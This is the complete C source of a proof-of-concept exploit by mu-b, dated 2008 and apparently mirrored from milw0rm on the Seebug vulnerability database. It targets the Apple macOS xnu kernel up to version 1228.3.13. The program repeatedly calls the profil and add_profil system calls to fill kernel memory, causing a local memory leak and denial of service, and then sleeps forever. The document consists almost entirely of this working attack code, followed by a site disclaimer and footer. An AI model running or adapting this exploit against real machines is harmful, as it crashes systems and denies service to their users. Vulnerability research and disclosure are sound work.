/* xnu-profil-leak.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC * by mu-b - Sat 16 Feb 2008 * * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/syscall.h> #include <unistd.h> /* profil defines */ #define PROFIL_LEAK_NUM 65536 * 128 int main (int argc, char **argv) { char buf[1024]; int i, n; printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); printf ("* opening profil, pid: %d...", getpid ()); if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0) { fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("done\n"); printf ("* filling %d-bytes of kernel memory...\n", PROFIL_LEAK_NUM * 32); fflush (stdout); for (i = 0; i < PROFIL_LEAK_NUM; i++) { if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) < 0) { fprintf (stderr, "\n%s: syscall [SYS_add_profil]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("** %d-bytes filled\r", i * 32); } printf ("\n* done\n"); while (1) sleep (1); return (EXIT_SUCCESS); } // milw0rm.com [2009-03-23]
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论